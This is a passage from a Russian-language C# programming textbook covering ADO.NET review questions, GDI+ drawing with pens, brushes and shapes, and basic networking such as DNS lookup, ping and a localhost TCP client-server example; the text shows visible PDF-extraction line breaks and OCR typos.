dataGridView1.DataSource = ds.Tables[0].DefaultView;
conn.Close();
}
catch (Exception ee)
{
MessageBox.Show(ee.ToString(), "Ошибка подключения к БД");
return;
}
conn.Close();
}
}
}
После нажатия на кнопку «Поиск из базы»
Примечание: как видно из кода в нашем запросе используется
оператор like. По этому наш запрос будет находить значения которые
не полностью совпадают с искомым значением
Ввод данных
Контрольные вопросы:
1. Для чего используется СУБД?
2. Что такое запись?
3. Что такое таблица БД?
4. Для чего предназначены ключи в БД?
5. Что такое первичный ключ?
6. Для чего предназначен язык SQL?
7. На сколько типов делятся классы ADO.NET?
ТЕСТЫ:
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
С помощью какого класса можно соединить базу
данных?
Connection
Data
C#
Visual Basic
Какой из перечисленных ниже свойств является
свойством объекта Connection?
DataSource
Data
Source
Connect
Какой из перечисленных ниже свойств является
свойством объекта Connection?
DataSource
Database
State
Все ответы правильны
Язык запросов – это ……..?
SQL
C#
C++
C-Что такое транзакция?
-это последовательность команд, которая выполняется как
одно целое
- это последовательность файлов, которая выполняется как
одно целое
- это последовательность операторов
- это команда, которая выполняется
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1. Создайте базу данных магазина канцелярских товаров
2.
3.
4.
5.
Создайте базу данных молочного магазина
Создайте базу данных факультета
Создайте базу данных группы
Создайте базу, в котором хранятся информация о планетах
солнечной системы
МОДУЛЬ 15.
ТЕМА ЛЕКЦИИ: РАБОТА С ГРАФИКОЙ НА ЯЗЫКЕ C#
1. GDI и GDI+
2. Пространства имен GDI+
3. Контексты устройств и объект Graphics
GDI и GDI+
Вообще говоря, одной из сильных сторон Windows — да и всех
современных операционных систем — является их способность
абстрагироваться
от
деталей,
характеризующих
конкретные
устройства, без указаний разработчика. Например, вам не нужно
понимать работу драйвера устройства жесткого диска для того, чтобы
программно читать или записывать файлы на диске. Вы просто
вызываете соответствующие методы в соответствующих классах .NET
(или во времена, предшествующие появлению .NET, — функции
Windows API).
Этот принцип также справедлив в отношении рисования. Когда
компьютер рисует нечто на экране, он делает это путем отправки
команд видеокарте. Однако на рынке присутствуют многие сотни
разнообразных видеокарт, большинство из которых имеют отличный
от других набор команд и возможностей. Если бы вам пришлось
принимать это во внимание и писать специфический код для каждого
видеодрайвера, то написание обычного приложения стало бы
практически невозможной задачей. Вот почему, начиная с ранних
версий Windows, появился интерфейс графических устройств (
graphical device interface — GDI).
GDI обеспечивает уровень абстракции, скрывая разницу между
различными видео- картами. Вы просто вызываете функцию Windows
API, чтобы выполнить специфическую задачу, а GDI внутри себя
самостоятельно решает, как заставить определенную клиентскую
видеокарту выполнить то, что необходимо при запуске определенного
фрагмента кода. Мало того, если у клиента есть несколько устройств
отображения, например, мониторов и принтеров, GDI обеспечивает
практически одинаковый результат при выводе одного и того же
изображения на экран и принтер. Если клиент желает напечатать
нечто вместо отображения его на экране, ваше приложение про- сто
должно сообщить системе, что устройством вывода будет принтер,
после чего вызывать те же функции API точно таким же образом.
Как видим, объект контекста устройства (device context — DC;
скоро мы рассмотрим его) — это очень мощный объект, и возможно,
вас удивит, что под GDI все операции рисования должны выполняться
через контекст устройства. DC используется даже в операциях,
которые не требуют рисования на экране или любом другом
аппаратном устройстве — таких как модификация графических
изображений
в
памяти.
Хотя
GDI
предлагает
относительно
высокоуровневый программный интерфейс для разработчиков, он все
же базируется на старом Windows API, с функциями в сти- ле C.
GDI+ — это уровень, находящийся между GDI и приложением,
которые предоставляет более интуитивно понятную, основанную на
наследовании объектную модель. Хотя GDI+ — это в основном
оболочка вокруг GDI, тем не менее, Microsoft посредством GDI+
предлагает
ряд
новых
возможностей
и
увеличенную
производительность по сравнению с некоторыми старыми средствами
GDI.
Часть базовой библиотеки классов .NET, связанная с GDI+,
огромна! Гораздо важнее понять фундаментальные принципы,
касающиеся рисования, чтобы вы смогли получить возможность при
необходимости легко расширить свои знания. Полные списки всех
классов и методов, доступных в GDI+, конечно же, содержатся в
документации SDK.
Разработчикам на Visual Basic 6, скорее всего, концепции
рисования покажутся незнакомыми, потому что Visual Basic 6
сосредоточен
рисование
на
элементах
самостоятельно.
управления,
Разработчики
которые
на
выполняют
C++/MFC,
однако,
окажутся на более знакомой территории, поскольку MFC требует от
разработчиков более подробного управления процессом рисования с
применением GDI. Однако даже если вы имеете обширный опыт
работы с классическим GDI, все равно в этой главе найдете для себя
много нового.
Пространства имен GDI+
Обзор основных пространств имен, в которых находятся базовые
классы GDI+ :
Содержит
System.Drawing
структур,
большинство
перечислений
и
классов,
делегатов,
обеспечивающих
базовую
функциональность рисования.
Представляет основную поддержку
для
двумерной
System.Drawing.Drawing2D графики,
и
включая
геометрические
векторной
сглаживание,
трансформации
и
графические пути.
Содержит
System.Drawing.Imaging
обеспечивающие
различные
классы,
манипуляции
с
графическими изображениями (битовые
карты, файлы GIF и тому подобное).
Содержит
System.Drawing.Printing
классы,
имеющие
отношение к печати и предварительному
просмотру
выводимых
на
печать
изображений.
Включает
предопределенные
некоторые
диалоговые
окна,
таблицы
System.Drawing.Design
свойств и другие элементы интерфейса,
имеющие
отношение
пользовательского
к
расширению
интерфейса
времени
проектирования.
System.Drawing.Text
Включает классы для выполнения
более
сложных
манипуляций
со
шрифтами и семействами шрифтов.
Контексты устройств и объект Graphics
В GDI способ идентификации устройства, на которое нужно
направить вывод, заключается в обращении к объекту, называемому
контекстом
устройства
(device
context—
DC).
DC
сохраняет
информацию об определенном устройстве и может транслировать
вызовы функций программного интерфейса GDI в конкретные
команды, направляемые устройствам. Вы также можете опросить
контекст устройства на предмет того, какие возможности он
предоставляет (например, может ли принтер печатать в цвете или же
только в черно-белом изображении), дабы соответствующим образом
откорректировать вывод. Если вы пытаетесь заставить устройство
делать что-то такое, что оно не способно сделать, то DC обычно
обнаруживает это и предпринимает соответствующие действия
(которые, в зависимости от ситуации, могут означать генерацию
исключения либо модификацию запроса таким образом, чтобы
получить как можно более близкий результат в рамках возможностей
данного устройства).
Однако DC не только имеет дело с аппаратным устройством. Он
служит в качестве моста между приложением и Windows, и
принимает
во
внимание
любые
требования
и
ограничения,
налагаемые на рисование Windows. Например, если Windows знает,
что необходимо перерисовать лишь часть окна вашего приложения,
DC перехватит и отменит попытки рисования вне этой области.
Благодаря связи DC с Windows, работа через контекст устройств
может упростить ваш код и в других отношениях.
Например, аппаратным устройствам необходимо сообщать, где
следует рисовать объекты, и обычно им нужны координаты,
отсчитываемые относительно верхнего левого угла экрана (или
другого
выходного
устройства).
Однако
приложения
обычно
отображают нечто в клиентской области (области, зарезервированной
для рисования) собственного окна, возможно, используя собственную
систему координат. Поскольку окно может быть позиционировано в
любом месте экрана, и пользователь в любой момент может его
переместить, преобразования между этими системами координат
могут оказаться непростой задачей. Однако DC всегда знает, где
находится ваше окно, и может выполнять такие преобразования
автоматически.
В GDI+ контекст устройства помещен в оболочку базового класса
.NET с именем System.Drawing.Graphics. Большая часть рисования
выполняется вызовом методов экземпляра Graphics. Фактически,
поскольку класс Graphics отвечает за выполнение большинства
операций рисования, очень немного в GDI+ происходит такого, что не
касалось бы тем или иным образом экземпляра Graphics, а потому
понимание того, как управлять этим объектом, является ключом к
пониманию того, как рисовать на устройствах отображения с
помощью GDI+.
В пространстве имен System.Drawing − определены основные
структуры для представления:

точки (координат) − Point и PointF

размера − Size и SizeF

прямоугольных областей − Rectangle и RectangleF.
Буква F в конце названия структуры означает, что, в отличие от
обычных структур (без F), поля структуры имеют не целочисленные
значения, а значения вещественного типа (float).
Структура Size
Структура Size предназначена для хранения ширины и высоты
объекта и имеет, для этого, соответствующие открытые свойства Width
и Height, доступные как для записи, так и для чтения. Для создания
объекта Size с нулевыми значениями Width и Height с помощью
конструктора по умолчанию, используется следующую запись:
Size sz = new Size();
Изменить значения свойств в последствии можно, например,
следующим образом:
sz.Width = 40;
sz.Height = 60;
Структура содержит два конструктора с аргументами:
public Size(int, int);
public Size(Point);
Конструкторы с аргументами позволяют, в момент создания,
инициализировать разные экземпляры структуры по-разному:
Size sz1= new Size(10,20);
// sz1.Width = 10,
sz1.Height = 20;
Size sz2 = new Size(15,50);
// sz2.Width = 15,
sz2.Height = 50;
ТЕМА СЕМИНАРА: СТРУКТУРА POINT
Структура Point содержит открытые свойства X и Y целого типа,
доступные, как для записи, так и для чтения.
Для создания точки “pt” можно использовать конструктор по
умолчанию:
Point pt = new Point();
Конструктор по умолчанию при создании точки обнуляет
значения свойств X и Y.
В дальнейшем координаты точки можно изменить, например,
следующим образом:
pt.X =25;
pt.Y=75;
Инициализировать новую точку класса Point, можно используя,
конструкторы с аргументами:
public Point(Size);
public Point(int, int);
Например:
Point pt1 = new Point(10,20); // pt1.X =10, pt1.Y=20
Size szm = new Size(27,45);
Point pt2 = new Point(szm); // pt2.X=27, pt2.Y=45
Метод класса:
public void Offset( int);
изменяет текущие координаты точки по формулам:
X=X+dx и Y=Y+dy;
ТЕМА ЛАБ: СТРУКТУРА RECTANGLE И ПРЕДСТАВЛЕНИЕ
ЦВЕТА
Структура предназначена для определения координат и размера
прямоугольника. Для хранения и изменения координат используются
следующие свойства, доступные для записи и чтения:
Location − координата левого верхнего угла прямоугольника
X
−
определяет
x-координату
левого
верхнего
угла
y-координату
левого
верхнего
угла
прямоугольника;
Y
−
определяет
прямоугольника;
Size − определяет размер прямоугольника;
Height − определяет высоту прямоугольника;
Width − определяет ширину прямоугольника:
Свойства только для чтения:
Left и Top − определяют соответственно X и Y координаты левого
верхнего угла прямоугольника;
Right и Bottom − определяют соответственно X и Y координаты
правого нижнего угла прямоугольника;
В структуре определены два конструктора с аргументами:
public Rectangle(
int x,
// x-координата левого верхнего угла прямоугольника
int y,
// y-координата левого верхнего угла прямоугольника
int width,
// ширина прямоугольника
int height
// высота прямоугольника
);
public Rectangle(
Point location,
//
координата
левого
верхнего
угла
прямоугольника
Size size
// размер прямоугольника
);
С помощью этих конструкторов можно определять размеры и
местоположение прямоугольников при их создании:
Point pt = new Point(10,15);
Size sz = new Size (50,70);
Rectangle rct = new Rectangle(pt,sz);
Rectangle rect = new Rectangle(20,20,50,30);
Структура
Rectangle
содержит
ряд
доступных
методов.
Рассмотрим некоторые из них.
Метод:
public void Intersect(Rectangle);
Возвращает
структуру,
которая
описывает
прямоугольник,
представляющий пересечение двух прямоугольников. Если не имеется
никакого пересечения, все свойства структуры обнуляются.
Например:
Rectangle rect,rct;
rect = new Rectangle(20,25,50,55);
rct = new Rectangle(10,10,30,40);
rect.Intersect(rct);
выполнение, приведенного фрагмента кода установит значения
свойства структуры прямоугольника rect следующим образом:
X=20, Y=25, Width=20, Height=25.
Метод:
public static Rectangle Union( Rectangle a, Rectangle b);
Возвращает
структуру,
описывающий
минимальный
по
размерам прямоугольник, включающий в себя прямоугольники a и b.
Методы:
public void Offset(Point pos);
public void Offset( int x, int y);
Эти
методы
прямоугольника
смещают
по
обеим
координаты
осям
на
левой
верхней
величину,
точки
задаваемую
параметрами метода.
программирование графический конструктор прямоугольник
Представление цвета
Представление цвета осуществляется с помощью экземпляров
структуры System.Drawing.Color. Для задания цвета используется
статический метод класса:
public static Color.FromArgb( int red, int green, int blue);
Параметры метода red, green и blue задают интенсивность
красной, зеленой и синей составляющей цвета. Значение каждой
компоненты цвета может изменяться в диапазоне от 0 до 255. Это
позволяет отобразить 224 различных цветов.
Например:
Color crR = Color.FromArgb(255,0,0); // переменная crR − красный
цвет
Color crG = Color.FromArgb(0,255, 0); //
переменная
crG
−
зеленый цвет
Color crB = Color.FromArgb(0,0,255); // переменная crB − синий
цвет
Для задания цвета
можно также использовать один из
перегруженных методов FromArgb:
public static Color FromArgb(int alpha, Color cr);
public static Color FromArgb(int alpha, int red, int green, int blue);
Дополнительный параметр alpha задает степень прозрачности
цвета. Чем меньше это число, тем меньше насыщенность цвета и тем
более прозрачным является этот цвет. Значение параметра alpha
может изменяться в диапазоне от 0 до 255. Значение 0 определяет
полностью прозрачный (бесцветный), а значение 255 − полностью
насыщенный (непрозрачный) цвет.
Структура Color содержит более 200 статических свойств,
доступных только для чтения. Эти свойства задают именованные или,
так
называемые,
Интернет
−
цвета,
которые
правильно
воспроизводятся всеми WEB браузерами.
Пример:
Color clr2 = Color.Beige;
// бежевый
Color clr3 = Color.Magenta; // сиреневый
Color clr4 = Color.Orange; // оранжевый
Color clr2 = Color.Crimson; // малиновый
Тема СРСП – 1: Кисти и перья
Графические объекты рисуются с помощью перьев и кистей.
Кисти описываются объектами классов, производных от класса
System.Drawing.Brush. Класс Brush является абстрактным классом, то
есть нельзя создать объект этого класса. Сплошные кисти создаются
как экземпляры класса System.Drawing.SolidBrush, например:
Brush br2 = new SolidBrush(Color.Magenta);
Brush br3 = new SolidBrush(Color.FromArgb(200,10,120));
Параметр color конструктора public SolidBrush(Color color);
класса SolidBrush задает цвет сплошной кисти.
В классе System.Drawing.Brushes определено большое количество
статических свойств, возвращающих кисть Интернет цветов. Создание
таких кистей выглядит следующим образом:
Brush brr = Brushes.Orange;
В
классе
System.Drawing.Drawing2D.HatchBrush
определены
штриховые кисти.
Конструкторы класса:
public HatchBrush(HatchStyle hatchstyle, Color foreColor, Color
backColor);
public HatchBrush(HatchStyle hatchstyle, Color foreColor);
Параметры:
foreColor − цвет штриха кисти;
backColor − цвет фонового штриха кисти (по умолчанию −
черный цвет);
hatchstyle − стиль штриховой кисти.
Существует большое количество доступных стилей, наиболее
типичными являются:
Cross − решетчатая кисть;
DiagonalCross − диагональная решетчатая кисть;
Horizontal − горизонтальная штриховка;
Vertical − вертикальная штриховка.
Например, создание кисти с вертикальной штриховкой синего
цвета
и
фоновым
штрихом
бежевого
цвета
будет
выглядеть
следующим образом:
Brush
br1
=
new
HatchBrush(HatchStyle.Vertical,Color.Blue,Color.Beige);
Перья описываются классом System.Drawing.Pen.
Конструкторы класса:
public Pen(Color color);
public Pen(Color color, float width);
public Pen( Brush brush);
public Pen(Brush brush, float width);
Параметры:
color − цвет пера;
width − толщина пера;
brush −кисть.
Примеры создания перьев:
Pen pn = new Pen(Color. Magenta);
Pen pn1 = new Pen(Color.Orange,5);
Pen pn2 = new Pen(Brushes.Orange);
Pen pn3 = new Pen(Brushes.Magenta,10);
Pen pn4 = new Pen(Color.FromArgb(125,155, 0));
Pen pn5 = new Pen(Color.FromArgb(25,155,200),10);
В классе System.Drawing.Pens содержится множество статических
свойств, описывающих перья с интернет цветом и толщиной в один
пиксель. Создание таких перьев выглядит следующим образом:
Pen pn6 = Pens.Brown;
Pen pn7 = Pens.Magenta;
ТЕМА СРСП – 2: РИСОВАНИЕ ЛИНИЙ И ФИГУР
Практически
все
операции
рисования
осуществляются
с
помощью вызовов методов класса .NET System.Drawing.Graphics. Для
вывода текстовой и графической информации в окно приложения
необходимо получить контекст устройства. Контекст устройства
позволяет,
используя
соответствующие
драйверы,
выводить
информацию в рабочую область окна.
Контекст устройства в среде .NET инкапсулирован («завернут») в
базовом классе System.Drawing.Graphics. Для создания объекта класса
Graphics
необходимо
использовать
метод
CreateGraphics(),
возвращающий ссылку на объект класса Graphics:
Graphics dc = CreateGraphics();
Полученный
объект
dc
содержит
контекст
устройства,
позволяющий осуществлять вывод информации в окно приложения.
Класс Graphics содержит множество методов, позволяющих
рисовать различные графические фигуры. Рассмотрим некоторые из
них.
Рисование
контуров
прямоугольников
осуществляется
с
помощью методов:
public void DrawRectangle( Pen pen, Rectangle rect);
public void DrawRectangle( Pen pen, int x, int y, int width, int
height);
public void DrawRectangle( Pen pen, float x, float y, float width, float
height);
Рисование контуров эллипсов осуществляется с помощью
методов:
public void DrawEllipse ( Pen pen, Rectangle rect);
public void DrawEllipse ( Pen pen, int x, int y, int width, int height);
public void DrawEllipse ( Pen pen, float x, float y, float width, float
height);
Рисование
закрашенных
эллипсов
и
прямоугольников
осуществляется с помощью методов:
public void FillEllipse( Brush brush, Rectangle rect);
public void FillEllipse( Brush brush, int x, int y, int width, int height);
public void FillEllipse( Brush brush, float x, float y, float width, float
height);
public void FillRectangle( Brush brush, Rectangle rect);
public void FillRectangle( Brush brush, int x, int y, int width, int
height);
public void FillRectangle( Brush brush, float x, float y, float width,
float height);
Параметры методов означают следующее:
pen − перо;
brush − кисть;
rect − прямоугольник;
х − координата х левого верхнего угла прямоугольника;
y − координата у левого верхнего угла прямоугольника;
width − ширина прямоугольника;
height −высота прямоугольника;
Рисование линий осуществляется с помощью методов:
public void DrawLine(Pen pen, Point pt1, Point pt2);
public void DrawLine(Pen pen, PointF pt1, PointF pt2);
public void DrawLine(Pen pen, int x1, int y1, int x2, int y2);
public void DrawLine(Pen pen, float x1, float y1, float x2, float y2);
Параметры методов означают следующее:
pen − перо;
pt1 − начальная точка рисования;
pt2 − конечная точка рисования;
х1 и у1 − координаты начальной точки рисования;
х2 и у2 − координаты конечной точки рисования;
Примеры использоания функций:
dc.DrawRectangle(Pens.OrangeRed,5,10,25,45);
dc.DrawEllipse(Pens.Magenta,100,125,20,15);
dc.FillEllipse(Brushes.BlueViolet,45,50,20,15);
dc.DrawLine(Pens.Green,20,40,60,70);
ТЕМА СРСП – 3: РИСОВАНИЕ ТЕКСТА
Для
рисования
текста
используют
перегруженный
метод
DrawString. Приведем три из шести перегрузок метода DrawString:
public void DrawString(string s, Font font, Brush brush, PointF
point);
public void DrawString(string s, Font font, Brush brush, RectangleF
layoutRectangle);
public void DrawString(string s, Font font, Brush brush, float x, float
y);
Параметры:
s –строка символов,
font – шрифт текста,
brush – кисть,
point – точка, определяющая координаты вывода текста,
x и y – задают координаты вывода текста
layoutRectangle – прямоугольник, внутри которого выводится
текст, если же текст не вмещается в область прямоугольника, то он
(текст) обрезается.
Для вывода текста необходимо задать тип и размер шрифта,
кисть и координаты текста. Например:
Font fnt = new Font("Arial",10); //Шрифт Arial, размер 10
dc.DrawString("Привет!",fnt, Brushes.Green,10,20);
Пример 1. Создадим приложение, которое при щелчке левой
кнопкой мыши на окне приложения выводит в месте щелчка
прямоугольник с текстом координатами левого верхнего
угла
прямоугольника, а при щелчке правой кнопкой мыши в месте щелчка
выводится закрашенный эллипс.
Для этого создайте проект Windows Application. В окне свойств
формы выбрать событие MouseDown, дважды щелкнуть на названии
события мышкой. В появившейся заготовке метода-обработчика
события вставить код, чтобы тело метода выглядело следующим
образом:
private
void
Form1_MouseDown(object
sender,
System.Windows.Forms.MouseEventArgs e)
{
Graphics dc = CreateGraphics();
Font fnt = new Font("Coyrier",10);
if(e.Button.ToString()== "Left")
{
dc.DrawRectangle(Pens.OrangeRed,e.X,e.Y,15,15);
dc.DrawString("X="+e.X.ToString()+"
Y="+e.Y.ToString(),fnt,Brushes.Green,e.X,e.Y+20);
}
if(e.Button.ToString()== "Right")
{
dc.DrawEllipse(Pens.Magenta,e.X,e.Y,20,15);
dc.FillEllipse(Brushes.Blue,e.X,e.Y,20,15);
}
}
Скомпилируйте приложение. Проанализируйте полученные
результаты.
Задание.
1). Создайте приложение, в котором по нажатию клавиши
мыши в месте щелчка выводилось название нажатой клавиши мыши.
2). Создайте приложение, в котором при щелчке на правую
кнопку мыши рисовалась линия, соединяющая координату щелчка с
левым верхним углом окна приложения.
3). Создайте приложение, в котором выводился след движения
мыши (использовать функцию рисования линии).
Перерисовка окна приложения
Если свернуть окно приложения из предыдущего примера,
затем вновь развернуть его, то мы, к сожалению, заметим, что
изображение на поверхности окна исчезло. Операционная система не
восстанавливает содержимого окна. Восстановлением графики и
текста должно заниматься само приложение. Операционная система в
необходимых случаях вырабатывает сообщение (событие Paint),
которое «говорит», что окно приложения не корректно и его
необходимо перерисовать. Перерисовка окна должна происходить по
событию Paint. Метод-обработчик этого события имеет заголовок:
private
void
Form_Paint(object
sender,
System.Windows.Forms.PaintEventArgs e)
Для этого метода нет необходимости создавать контекст
устройства, он передается методу с помощью параметра e. Для
получения контекста устройства необходимо выполнить следующую
операцию:
Graphics dc = e.Graphics;
В теле этой функции необходимо выполнить все действия для
перерисовки окна.
Очень
часто
перерисовка
окна
должна
происходить
в
определенные моменты времени по инициативе приложения. Это
бывает необходимо при выводе на экран анимации. «Заставить»
операционную систему выработать событие Paint можно путем вызова
метода
Invalidate(),
который
является
членом
System.Windows.Forms.Form. Существуют несколько перегруженных
версий этого метода. Одна из них принимает в качестве параметра
прямоугольник, который определяет область окна для перерисовки.
Используемая нами версия без параметров перерисовывает все окно.
Пример 2. Создадим приложение, в котором при запуске
появляется прямоугольник, ширина которого увеличивается через
каждые 150мс на 5 пикселей.
1. Объявим в классе Form1 переменную:
private int xWidth;
2. Создадим метод-обработчик события Paint, для этого в
свойствах формы выберем событие Paint и щелкнем по нему. После
редактирования тела метода, метод должен иметь вид:
private
void
Form1_Paint(object
sender,
System.Windows.Forms.PaintEventArgs e)
{
Graphics dc = e.Graphics;
dc.DrawRectangle(Pens.RoyalBlue,10,100,xWidth,50);
}
3. Перенесем на форму Timer из Toolbox, затем в свойствах
таймера установим свойство Enable в true и Interval в 150.
4. Далее двойным щелчком мыши по таймеру создаем методобработчик таймера. После редактирования тела метода, метод
должен иметь вид:
private void timer1_Tick(object sender, System.EventArgs e)
{
xWidth += 5;
Invalidate();
}
Контрольные вопросы:
1. Графические возможности языка C#?
2. Какая технология используется для рисования графики в
С#?
3. Какие структуры определены в пространстве имен
System.Drawing?
4. Для чего предназначен пространства имен GDI+
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
ТЕСТЫ:
Какая технология используется для рисования графики?
GDI+
GRI+
GGI+
DDI+
Технология GDI+ это - …….?
Фундамент для рисования произвольной графики
Рисования линий на форме
Рисование элипсов на экране
Технология Visual Basic
С помощью какой структуры определяется цвет в языке С#?
system.Drawing.color.
system.Draw
system.color.
Drawing.color.
Какой из перечисленных вариантов относиться к цветовой
модели?
RGB
COLOR
WHITE
GBR
Какой из перечисленных вариантов относиться к цветовой
модели?
HSV
RGB
CMYK
Все варианты правильны
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1). Создать приложение, в котором появляется маленький
прямоугольник, который увеличивается (эффект наезда).
2). Создать приложение, в котором в момент создания формы
появляются два прямоугольника равных размеров и координат, затем
прямоугольники начинают разъезжаться по разным углам окна (по
диагонали).
3). Нарисовать минимальный по размеру прямоугольник,
включающий в себя оба прямоугольника.
4). Нарисовать прямоугольник, являющийся пересечением
исходных прямоугольников.
МОДУЛЬ 16.
ТЕМА ЛЕКЦИИ: РАБОТА В СЕТЯХ И ВО ВСЕМИРНОЙ ПАУТИНЕ
В
наши
дни
редко
можно
встретить
приложение,
функциональность которого никак не связана с Интернетом. Мир
программного обеспечения един, и
значительное количество
программ выполняет действия через сеть, даже если они сводятся к
проверке собственных обновлений. Корректная работа с сетью
является непростой задачей, но эта глава позволит вам продвинуться
на этом пути, получив базовые (и не только базовые) сведения.
Определение IP-адреса по имени хоста
Задача. Вам нужно преобразовать имя хоста (например,
microsoft.com) в его IP- адрес.
Решение. Пространство имен system.Net содержит почти все
функциональные возможности, демонстрируемые в этой главе, в том
числе такие важные классы как IPAddress И Dns.
string host = "www.microsoft.com";
// Обратите внимание, что хост может иметь несколько IP-адрес
IPAddress[] addresses = Dns.GetHostAddresses(host);
foreach (IPAddress addr in addresses)
{.
Console.Write("\t{0}'\ • addr);
}
После нескольких запусков программы для известных имен ее
вывод выглядит так:
www.microsoft.com
207.46.19.254 207.46.19.190
www.live.com
204.2.160.40 204.2.160.49
www.google.com
208.67.219.230 208.67.219.231
www.yahoo.com
209.131.36.158
Выяснение имени хоста и IP-адреса у данного компьютера
Задача. Вам нужно знать имя хоста и IP-адреса компьютера, на
котором работает ваше приложение.
Решение. Чтобы узнать текущее имя хоста, вы должны сделать
всего один
вызов в дополнение к решению, приведенному в
предыдущем разделе.
string hostname = Dns.GetHostName();
Console.WriteLine("Hostname: {0}", hostname);
IPAddress[] addresses = Dns .GetHostAddresses (hostname) ;
foreach (IPAddress addr in addresses)
{
Console. WriteLineC IP Address: {0} ({1})'\
addr.ToString(), addr.AddressFamily);
}
На моем компьютере эта программа выводит следующую
информацию (обратите внимание на адреса IPv6):
Hostname: Ben-Desktop
• IP Address: fe80::2c4c:372:e7ee:35b7%14 (InterNetworkV6)
IP Address: fe80::claa:9268:a7f0:a203%8 (InterNetworkV6)
IP Address: 192.168.1.2 (InterNetwork)
IP Address: 2001:0:4137:9e50:2c4c:372:e7ee:35b7 (InterNetworkV6)
ТЕМА СЕМИНАРА: "ПИНГОВАНИЕ" КОМПЬЮТЕРА
Задача. Вам нужно выяснить доступность сети или хоста.
Решение. Платформа .NET имеет интерфейс для "пингования",
который
поддерживает как синхронные, так и асинхронные
операции:
System.Net.Networklnformation.Ping ping =
new System.Net.Networklnformation.Ping();
System.Net.Networklnformation.PingReply reply =
ping.Send("yahoo.com") ;
Console.WriteLine("address: {0}", reply.Address);
Console.WriteLine("options: don't fragment: {0}, TTL: {1}",
reply.Options.DontFragment, reply.Options.Ttl);
Console.WriteLine("rountrip: {0}ms"/ reply.RoundtripTime);
Console.WriteLine("status: {0}", reply.Status);
Вывод программы выглядит примерно так:
address: 69.147.114.224
options: don't fragment: False, TTL: 49
rountrip: 111ms
status: Success
ТЕМА ЛАБ: ВЫЯСНЕНИЕ ИНФОРМАЦИИ О СЕТЕВОЙ КАРТЕ
Задача. Вам требуется информация низкого уровня обо всех сетевых
адаптерах компьютера.
Решение.
Эту
функциональность
предоставляет
класс
System.Net.Networklnformation.Networklnterfасе.
Networklnterfасе[] nics = Networklnterface.GetAllNetworklnterfaces();
foreach (Networklnterface nic in nics)
{
// В принципе, вместе лишь опрашивается несколько свойств
Console.WriteLine("ID: {0}", nic.Id);
Console.WriteLine("Name: {0}", nic.Name);
Console.WriteLine("Physical Address: {0}",
nic.GetPhysicalAddress());
IPInterfaceProperties props = nic.GetlPProperties();
PrintlPCollection("DHCP Servers: ", props.DhcpServerAddresses);
}
Эта программа выводит примерно следующее (для одного адаптера):
ID: {6B124BB0-CFBE-4DA8-831E-3FD323733CD4}
Name: Local Area Connection
Description: Marvell Yukon 88E8053 PCI-E Gigabit Ethernet Controller
Type: Ethernet
Status: Up
Speed: 100000000
Supports Multicast: True
Receive-only: False
Physical Address: 000129A4C39B
DHCP Servers:
DNS Servers: 208.67.222.222 208.67.220.220
ТЕМА СРСП – 1: СОЗДАНИЕ СЕРВЕРА И КЛИЕНТА НА БАЗЕ
TCP/IP
Задача. Имеющиеся протоколы передачи не удовлетворяют вас.
Например, HTTP слишком прост, SOAP излишне тяжеловесен, RPC
сложен, а использовать WCF вы не можете. В этом случае вам
придется разработать на уровне приложения собственный протокол,
основанный на TCP/IP.
Решение. Среда .NET позволяет без труда создать клиент и
сервер на базе TCP/IP. Вначале создадим сервер (листинг 12.1). Логика
очень проста:
1. Запустите цикл. Внутри цикла ждите, когда возникнет
соединение.
2. При установлении соединения создайте поток выполнения.
3. Примите сообщение.
4. Отправьте ответ.
5. Закройте соединение и возвратите управление из потока
выполнения.
using System;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Threading;
namespace TcpServer
{
class Program
{
static void Main(string[] args)
{
IPAddress localhost = IPAddress.Parse("127.0.0.1");
TcpListener listener =
new System.Net.Sockets.TcpListener(localhost, 1330);
listener.Start();
while (true)
{
Console.WriteLine("Waiting for connection");
// Объект AcceptTcpClient ждет соединения с клиентом
TcpClient client = listener.AcceptTcpClient();
// Запустить новый поток выполнения для обработки
// этого соединения, чтобы иметь возможность
// вернуться к ожиданию очередного соединения
Thread thread = new Thread(
new ParameterizedThreadStart(HandledientThread));
thread.Start(client);
}
}
static void HandledientThread(object obj)
{
TcpClient client = obj as TcpClient;
bool done = false;
while (!done)
{
string received = ReadMessage(client);
Console.WriteLine("Received: {0}", received);
done = received.Equals("bye");
if (done) SendResponse(client, "BYE");
else SendResponse(client, "OK");
}
client.Close();
Console.WriteLine("Connection closed");
}
private static string ReadMessage(TcpClient client)
{
byte[] buffer = new byte[256];
int totalRead = 0;
// Считывать байты, пока поток данных не проинформирует,
// что они закончились
do
{
int read = client.GetStream().Read(buffer, totalRead,
buffer.Length - totalRead);
totalRead += read;
} while (client.GetStream().DataAvailable);
return Encoding.Unicode.GetString(buffer, 0, totalRead);
}
private static void SendResponse(TcpClient client,
string message)
{
//На другом конце должны использовать тот же формат!
byte[] bytes = Encoding.Unicode.GetBytes (message) ;
client.GetStream().Write(bytes, 0, bytes.Length);
}
}
}
Единственный способ остановить работу этого сервера — нажать
комбинацию клавиш <Ctrl>+<C> (что вполне обычно для консольных
серверов).
Теперь перейдем к клиенту. Его логика столько же проста:
1. Соединитесь с сервером.
2. Запустите цикл и ждите сигнала на выход из него.
3. Отправьте сообщение.
4. Примите ответ.
5. Если ответ "BYE", это сигнал на выход из цикла.
using System;
using System.Text;
using Systern.Net;
using Systern.Net.Sockets;
namespace TcpClientTest
{'
class Program
{
static void Main(string[] args)
{
TcpClient client = new TcpClient("127.0.0.1", 1330);
bool done = false;
Console.WriteLine("Type 'bye' to end connection");
while (!done)
{
Console.Write("Enter a message to send to server: ");
string message = Console.ReadLine();
SendMessage(client, message);
string response = ReadResponse(client);
Console.WriteLine("Response: " + response);
done = response.Equals("BYE");
}
}
private static void SendMessage(TcpClient client,
string message)
{
//На другом конце линии связи необходимо использовать тот же
формат!
byte[] bytes = Encoding.Unicode.GetBytes(message);
client.GetStream().Write(bytes, 0, bytes.Length);
}
private static string ReadResponse(TcpClient client)
{
byte[] buffer = new byte[256];
int totalRead = 0;
// Читать байты, пока ни одного не останется
do
{
int read = client.GetStream().Read(buffer, totalRead,
buffer.Length - totalRead);
